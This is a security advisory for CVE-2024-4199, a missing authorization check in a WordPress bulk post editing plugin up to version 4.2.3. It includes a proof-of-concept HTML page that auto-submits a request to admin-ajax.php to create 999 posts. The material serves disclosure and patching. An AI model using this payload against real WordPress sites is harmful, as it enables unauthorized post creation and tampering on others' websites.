Description

The Bulk Posts Editing For WordPress plugin for WordPress is vulnerable to unauthorized access of functionality due to a missing capability check on the plugin’s AJAX actions in all versions up to, and including, 4.2.3. This makes it possible for authenticated attackers, with subscriber access and higher, to invoke their corresponding functions. This may lead to post creation and duplication, post content retrieval, post taxonomy manipulation.

Severity

4.3 (Medium) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Affected Version

<= 4.2.3

PoC :

<html>
  <!-- Made by eneriiiii<3 / aillesim -->
  <body>
    <form action="[ASSETS]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpbel&#95;create&#95;new&#95;post" />
      <input type="hidden" name="count" value="999" />
      <input type="hidden" name="post&#95;type" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Reference

  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ithemeland-bulk-posts-editing-lite/bulk-posts-editing-for-wordpress-423-authenticated-subscriber-missing-authorization
  • https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3085134%40ithemeland-bulk-posts-editing-lite%2Ftrunk&old=2946926%40ithemeland-bulk-posts-editing-lite%2Ftrunk&sfp_email=&sfph_mail=
  • https://www.cve.org/CVERecord?id=CVE-2024-4199